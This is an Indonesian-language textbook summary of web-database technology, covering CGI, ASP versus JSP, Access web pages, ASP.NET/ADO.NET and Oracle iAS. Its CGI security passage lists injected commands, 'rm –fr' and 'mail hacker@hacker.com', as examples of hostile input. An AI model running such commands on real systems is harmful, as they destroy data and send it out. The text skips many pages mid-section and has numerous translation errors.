CHAPTER 28: Web Technology and DBMSs (B)

CHAPTER 28: Web Technology and DBMSs

(B)

28.5 Common Gateway Interface (CGI)

Web server menyuplai kode, mengunakan Multipurpose Internet Mail Extensions (MIME) agar
browser dapat membedakan antar komponen. Dengan menggunakan MIME, browser dapat
menampilkan grafik.
Web server mampu untuk mengirim dokumen dan menunjukan kepada browser jenis
dokumen apa yang dikirim. Selain itu, server dapat juga menjalankan program yang lainnya. Saat
server mengenali bahwa URL menunjukan file, hal tersebut akan mengirimkan konten-konten
dari file tersebut.
Common Gateway Interface (CGI) mampu berkomunikasi scrip dengan webserver (McCool,
1993). CGI skrip dirancang untuk menerima dan meneruskan data yang sesuai dengan spesifikasi
CGI. Dalam hal ini, Secara teoritis seharusnya dapat digunakan kembali skrip CGI-compilant
secara independen dalam useran server untuk menyediakan informasi, walaupun dalam praktek
terdapat dampak berbeda dalam kemudahan. Figure 28.5 mengilustrasikan mekanisme CGI yang
menunjukan koneksi web server ke gateway, yang pada gilirannya mengakses databases atau
sumber data lain dan lalu generate HTML untuk mentransmisi kembali ke client.
Sebelum Web server memanggil skrip, web server menyiapkan sebuah nomor dari variabel

linkungan yang menunjukan keadaan dari server, siapa yang meminta informasi. Skrip
mengambil informasi ini dan membaca STDN (the standard input stream). Lalu Skrip ini
melakukan proses yang diperlukan dan menulis output ke STDOUT (the standard output stream).
Dalam hal tertentu skrip merespon untuk mengirim informasi header MIME ke output utama.
CGI skrip dapat di buat hampir ke semua bahasa, meyediakan dukungan dalam membaca dan
menulis variabel dalam lingkungan sistem operasi. Maksudnya, untuk UNIX paltform, skrip
dapat di tulis dalam Perl, PHP, Java, ‘C’,Forth dan bahasa pemrograman yang lainnya. Untuk
palform basis Windows, kode dapat di buat dalam bentuk file DOS batch atau menggunakan
Visual Basic, C/C++, Delphi bahkan pada ActivePerl.
Menjalankan sebuah CGI skrip dari sebuah Web browser kebanyakan transparan kepada user,
yang merupakan salah satu proses. Beberapa hal harus diperhatikan dalam mengeksekusi CGI
skrip agar sempurna:
(1) User memanggil skrip CGI dengan memilih link atau menekan sebuah tombol. Skrip CGI

juga dapat disertakan dalam pemanggilan dokumen HTML pada browser
(2) Browser menginformasikan ke Web server dengan menanyakan izin untuk menjalankan
skrip CGI.
(3) Server memeriksa konfigurasi dan akses file untuk memastikan pemohon mendapatkan
akses ke CGI skrip dan memeriksa bahwa CGI skrip tersedia.
(4) Server menyiapkan variabel dan skrip tersebut.

(5) Skrip dieksekusi dan membaca variabel dan STDIN
(6) Skrip mengirim header MIME ke STDOUT
(7) Server mengirim data STDOUT ke browser dan koneksi terdekat
(8) Browser menampilkan informasi dari server.

Page 966-995

1

CHAPTER 28: Web Technology and DBMSs

(B)

Informasi dapat dilewati dari browser ke skrip CGI dalam bentuk yang bervariasi dan skrip
tersebut dapat meneruskan hasil dengan embedded tag HTML, dalam bentuk plain text, atau
gambar. Browser menampilkan hasil seperti halnya format dokumen yang lain. Mekanisme
tersebut sangat berguna dalam hak akses ke semua external database yang memiliki dukungan
programming. Untuk meneruskan data kembali ke browser, CGI skrip harus menjalankan
header pada baris pertama output, yang memberitahukan browser untuk menampilkan output,
seperti dijelaskan dalam section 28.2.1

28.5.1 Melewati informasi ke CGI Skrip
Terdapat 4 metode utama untuk melewati informasi dari browser ke CGI skrip:






Dengan melewati parameter pada command line;
Dengan melewati variabel ke program CGI ;
Melewati data ke program CGI via input standar;
Dengan menggunakan extra jalur informasi;

Melewati parameters pada command line
HTML menyediakan tag ISINDEX utntuk mengirim parameter command line ke skrip CGI. Tag
tersebut harus ditempatkan pada html dokumen dalam bagian , untuk memberi perintah
kepada browser untuk membuat sebuah field dalam halaman web yang memudahkan user
menginput keyword dalam mencari sesuatu. Bagaimanapun hanya satu cara untuk menggunakan
metode ini yaitu dengan skrip CGI di rubah kedalam HTML dokumen yang embedded tag


Melewati parameter menggunakan variabel
Server secara otomatis sets up variabel sebelum ke scrip CGI. Ada beberapa variabel yang dapat
digunakan namun hanya ada satu yang sangat berguna, dalam conteks database, yaitu
QUERY_STRING. Variable tersebut bertindak mengatur disaat metode GET digunakan dalam
form HTML (section 28.2.1). string mengandung sandi pada data user yang ditampilkan dalam
bentuk form HTML. Contoh, useran form HTML terlihat pada Figure 28.6(a) URL tersebut
akan merubah disaat tombol LOGON ditekan terlihat pada Figure 28.6(b) (pada field Password
diasumsikan ‘TMCPASS’) :
http://www.dreamhome.co.uk/cgi-bin quote.pl?
symbol1=thomas+Connolly&symbol2=TMCPASS
and the corresponding Query_STRING would contain:
symbol1=Thomas+Connolly&symbol2=TMCPASS

Page 966-995

2

CHAPTER 28: Web Technology and DBMSs

(B)


pasangan nama-nilai ( dirubah ke dalam bentuk string) yang digabungkan bersama dengan
pemisah ampersand(&)character, dan karakter spesial (contoh, spasi diganti oleh +). Scrip CGI
dapat merubah kode QUERY_STRING dan menggunakan informasi yang diinginkan.

28.5.2 Kentungan dan kerugian CGI
CGI merupakan starndar de facto untuk menghubungkan Web server dengan aplikasi external
dan akan tetap menjadi yang paling umum dipakai dalam menghubungkan aplikasi Web ke
sumber data. Konsep CGI dimulai dari pengembangan Web yang menghubungkan sebuah server
Web dan aplikasi-aplikasi server.. keuntunga utama dari CGI adalah kemudahan, bahasa
pemrograman yang independen, dan dapat diterima secara luas. Namun, terdapat beberapa
masalah yang berhubungan dengan berbasis CGI.
Masalah yang pertama yaitu komunikasi antar client dan database server yang selalu harus
melalui Web server, sehingga dapat menyebabkan bottleneck jika terdapat jumlah yang besar
dalam mengakses Web server secara simultan. Untuk setiap permintaan dilaksanakan oleh
sebuah Web client atau setiap repon diterima database server, Web server harus merubah data ke
dalam dokumen HTML. Hal ini menyebabkan penambahan yang signifikan besar terhadap
proses query.
Masalah yang kedua kekurangan dari efisiensi dan transaksi dalam mendukung pendekatan
yang berbasis CGI, kelajuntan dari HTTP protocol. Untuk setiap query diakses melalui CGI,

server database harus melakukan prosedur logon dan logout yang sama, walaupun dengan akses
oleh user yang sama. Skrip CGI dapat mengatasi query dalam mode batch, tetapi akan sulit
dalam mendukung transaksi online database yang mengandung multiple interaktif query.
HTTP dapat juga menyebabkan masalah lain seperti kebenaran dalam inputan user. Contoh,
jika user membiarkan field kosong saat mengisi form, skrip CGI tidak dapat menampilkan pesan
kesalahan dan menolak untuk menerima inputan. Skrip hanya memberikan pilihan seperti :



Menampilkan output pesan dan menanyakan kepada user untuk click tombol kembali pada
browser.
Menampilkan output seluruh form kembali, mengisi nilai pada field yang memberitahu dan
membiarkan user membetulkan kesalahan.

Ada beberapa cara dalam menyelesaikan masalah tersebut, tetapi tidak satu yang memuaskan.
Salah satu pendekatan yaitu dengan mengelola file yang mengandung informasi yang sering
ditampilkan dari semua user. Saat permintaan yang baru, perhatikan file dan asumsikan program
yang benar berdasarkan inputan user yang terakhir. Masalahnya adalah sangat sulit dalam
mengidentifikasi sebuah web server dan user tidak menyelesaikannya.
Kerugian yang lainnya bahwa server harus merubah suatu proses dari setiap skrip CGI.

Untuk populer site akan sangat mudah memperoleh akses hampir secara simultan, hal tersebut

Page 966-995

3

CHAPTER 28: Web Technology and DBMSs

(B)

dapat menyebabkan kelebihan beban, bersamaan proses memori, disk dan waktu prosesor.
pengembangan skrip memerlukan pertimbangan yang memerlukan lebih dari satu salinan untuk
dieksekusi secara bersamaan dan secara konsekuen mengijinkan akses ke data yang sedang
digunakan.
Akhirnya, jika pengukuran yang sesuai tidak dilakukan, keamanan menjadi kelemahan yang
serius untuk CGI. Banyak masalah tersebut yang terkait dengan inputan data oleh user pada
browser, yang pengembangan skrip CGI tidak di antisipasi. Contoh, sangat berbahaya jika skrip
CGI yang mengakses sistem. Contoh perintah query :
rm –fr
mail hacker@hacker.com


Saat mengumpulkan DataControl menjadi tabel HTML, yang berisi semua yang mengandung tag
TABLE. Maka tabel tersebut akan dijalankan secara berulang-ulang tepatnya sekali untuk setiap
record pada record yang telah diatur. SPAN yang spesifik terdapat pada tabel data yaitu pada
baris dan telah dihubungkan dengan kolom staffNo pada tabel DataControl yang terikat dengan
tabel Staff.
28.9.4 Perbandingan anatar ASP dan JSP
Pada section 28.8.5 ASP dan JSP dirancang untuk memudahkan pengembangan rancangan
halaman dari Programming logic dengan menggunakan komponen yang dapat dipanggil dan
kedua menyediakan alternative kepada programming CGI yang lebih menyederhanakan dalam
pengemabangan Web dan penyebarannya juga. Namun terdapat perbedaannya yaitu :






Platform dan sever yang independen. JSP dapat dipakai pada semua Web server dan vendor
yang mendukung tool. ASP hanya terikat oleh platform Microsoft Windows.
Extensibility. JSP dapat memperluas tag JSP, dengan begitu developer dapat membuat tag

yang beragam dan pula dapat dipakai oleh developer yang lain, lebih sederhana dalam
proses dan waktu yang lebih cepat.
Reusability komponen JSP (JavaBeans, EJB dan custom tag) dapat dipakai lintas platform.
Contoh, komponen EJB dapat mengakses database Unix dan Windows
Security dan reliability. Dalam model Java dan tipe Java yang aman, sehingga mejadikan
JSP berpotensi lebih reliable.

28.9.5 Generasi Microsoft Access dan Web
Microsoft Acces menyediakan tiga fasilitas untuk membuat HTML tabel, queri, form dan report
secara otomatis pada database yaitu :

Page 966-995

16

CHAPTER 28: Web Technology and DBMSs








(B)

Halaman statik. Dengan metode, user dapat mengekspor data ke format HTML. User
mempunyai kendali yang sama melalui Web dalam bentuk HTML, perintah HTML yang
berisi menjelaskan layout halaman. Template dapat digunakan untuk menyisipkan logo,
grafik dan elemen lainnya.
Halaman dinamik dengan menggunakan ASP. User dapat mengekspor data menjadi file
‘.asp’ pada Web server, dengan memberikan spesifikasi nama database yang dituju, nama
user dan password untuk koneksi ek dalam database dan URL Web server tersebut dengan
menyimpan file ASP.
Halaman dinamik dengan menggunakan acces. Merupakan berupa Web yang terikat
langsung dengan data pada database. Data acces dapat digunakan seperti form pada akses,
kecuali halaman tersebut disimpan sebagai file eksternal dari database itu sendiri. Dengan
kata lain halaman tersebut hanya dipakai oleh Acces. Data acces dibuat dalam DHTML,
yaitu ekstensi HTML yang mengijinkan objek dinamik menjadi bagian dari Web. Tidak
seperti file ASP, halaman data acces yang dibuat dengan menggunakan fasilitas wizard atau
tampilan rancangan dengan banyak tool untuk membuat form, memerlukan Internet

Explorer 5.0 keatas.

28.9.6 Masa depan ASP dan ADO

Visi .NET termotivasi dari individual Web site untu mengelompokkan komputer, peralatan dan
mekanisme yang berkerjasama untuk mendorong meningkatkan layanan. Dengan tujuan sama
membuat manusia dapat mengendaliakn bagaimana, kapan dan informasi apa saja yang didapat.
Dari beberapa komponen dalam paltform ASP.NET dan ADO.NET :
 ASP.NET adalah versi terbaru dari Active Server Pages yang telah di desain ulang untuk
menigkatkan performa dan acalability :
 Kerangka runtime yang menyediakan bahasa netral untuk dieksekusi. Semua kode
tersebut, tidak terikat apapun, secara otomatis dicompiled kedalam bahasa standar.
Kerangka runtume membuat kode binari yang membuat aplikasi dieksekusi. Kompilasi
dan caching meningkatkan efisiensi dan scalabiliti runtime.
 Web form mengijinkan pengembang untuk memproduksi form berbasis Web dari
komponen yang telah dipakai atau yang dimodifikasi.
 Web services mengijinkan pengembang membuat classs yang menyediakan layanan
pada client. Contoh, fungsi yang dapat meliputi spesifik nilai kembali dalam respon
permintaan.
 Rich control. Pada server yang membuat HTML compleks dan objek pada halaman
output. Contoh, kalender dan cakupan batasan, tabel dan kontrol list.
 Server control mempaketkan tugas dan menciptakan programming model. Dengan
deminikianmembantu mengelola informasi dan membantu mengelola target untuk
semua tipe client yang berbeda.

Page 966-995

17

CHAPTER 28: Web Technology and DBMSs



(B)

ADO.NET merupakan generasi baru dari ActiveX Data Objek dengan class baru yang
memakai layer: layer yang terhubung (ADO) dan layer yang terputus, (RDS). Dataset yang
berisi satu atau lebih tabel atau kumpulan recordset yang terputus, tidak seperi RDS
datasetnyamengandung infor,masi pada relaional antar tabel. Pada runtime, data akan
melewati dari database ke bisnis menengah. Ado.NET menggunakan XML untuk merubah
data, aplikasi apapun yang dapat menjalankan XML data dapat di proses.

Internet Platform Oracle
Internet Platform Oracle, berisikan Oracle Internet Apllication Server (iAS) dan Oracle DBMS,
yang tujuan terutama menyediakan extensibility dan lingkungan yang terdistribusi. Terdapat
beberapa arsitektur berstandar industri seperti:
 HTTP dan HTML/XML
 Object Management groups teknologi CORBA untuk manipulasi objek
 Internet Inter-objek Protocol (IIOP) untuk objek interopearbility dan Remote method
Invocation (RMI), seprti HTTP, IIOP merupakan aplikasi level layer diatas TCP/IP, tetapi
tidak seperti HTTP, IIOP mengijinkan data melintasi bermacam objek dan melintasi banyak
koneksi.
 Java, Enterprise JavaBEans (EJB), JDBC dan SQLJ untuk koneksi database, Java servlet
dan JavaServer Pages (JSP), hal lainnya mendukung Java Messaging services ( JMS),
penamaan Java dan Diektori interface (JNDI) dan mengijinkan prosedure penyimpanan
untuk ditulis dalam Java
Oracle Internet Application Server (iAS)
iAS dapat dipercaya, berskala, aman, apliakasi server level menengahyang dirancang untuk
mendukung e-Business. Hal tersebut menciptakan pengaturan layanan untuk melengkapi,
infrastruktur berskala menengah. Terdapat tiga versi iAS:
 Standard Edition untuk Web server dengan minimal dukungan aplikasi.
 Enterprise Edition untuk ukuran medium untuk ukuran besar Web yang mengelola volume
transaksi besar.
 Wireless Edition menyediakan fungsi yang sama seperti Enterprise Edition namun saudah
termasuk Oracle Portal-to-Go untuk mengantar isi melalui wireless.

Layanan Komunikasi
Layanan komunikasi menangani datangnya penerimaan permintaan ole iAS, dari beberapa
proses Oracle HTTP Server dan beberapa permintaan melalui area rute dari iAS untuk berproses.
Oracle HTTP Server merupakan perluasan versi dari open source Apache HTTP Server, yang
paling luas diguunakan pada Web server. Sebelumnya Oracle menggunak untuk aplikasi server
yang sekarang dikenal dengan Apache server karena skalabilitas, stabilitas, performa dan
perluasan modul server. Walapun demikian Apache HTTP Server hanya mendukung transaksi
stateless dengan fungsi yang disalurkan ole Apache Jserv.

Page 966-995

18

CHAPTER 28: Web Technology and DBMSs

(B)

Modul Oracle HTTP Server modules (mods)
Dalam penambahan untuk mengcompile Apache mods provided with Apache HTTP Server,
Oracle memberikan kemampuan dan penambahan secara spesifik seperti :
 mod_ssl mendukung standar S-HTTP, mengaktifkan keamanan koneksi dengan tersedianya
mekanisme enkripsi Oracle via Secure Sockets Layer (SSL)
 mod_plsql rute PL/SQL meminta kepada Oracle PL/SQL, dengan memberikan layanan
kepad program PL/SQL
 mod_perl Aplikasi Perl meminta kepada Perl Interpreter. Perl Interpreter merupakan kode
yang efisien, yang module dan skrip terakses dan compiled hanya satu, yang mengijinkan
server untuk menjalankan kode dan mengcompilenya.
 mod_jserv rute semua servlet meminta kepada Apache Jserv servlet.
 mod_ose memberikan URL agar Java dan PL/SQL servlet pada Oracle Servlet Engine
(OSE) terdapat dalam Oracle DBMS. Modul ini membiarkan ID dalam cookies atau
mengarahkan ulang URL, rute permintaan mengijinkan sesi OSE dan dapat berkomunikasi
antara OSE melelalui SQL*Net.

Layanan Bisnis Logik
Layanan Bisnis logic mendukung aplikasi logic dan termasuk :
 Oracle BC4J (Business Component for Java). XML yang berbasis framework yang dapat
mengembangkan, deployment dan merubah apliasi sdatabase multi-tier dari penggunaan
ulang komponen bisnis. Mengembang aplikasi dapay menggunakan framwork kepada
pembuat dan bisnis logic tes dalam komponen yang secara otomatis terintegrasi dengan
database, penggunaan kembali bisnis logic melalui SQL berbasis tampilan dan tampilan
akses/update dari servlet, JSP dan client Java. Aplikasi dapat dijalankan pada sesi EJB atau
objek CORBA pada iAS.
 Oracle JVM. server berplatform Java yang mendukung Enterprise JavaBeans (EJBs),
CORBA dan penyimpanan database. Oracle JVM adalah dasar untuk menjalakan Java dan
layanan Java pada iAS dan ORACLE DBMS. Hal tersebut mengijinkan komponen untuk
bergerak dalam keadaan melewati level tanpa perubahan.
 Oracle PLSQL. mesin berskala yang berjalan pada bisnis logic dari pada data pada Oracle
Cache dan database Oracle. Hal tersebut mengaktifkan prosedur penyimpanan PL/SQL
pada database Oracle untuk dilihat/diakses pada browser. Prosedure penyimpanan ya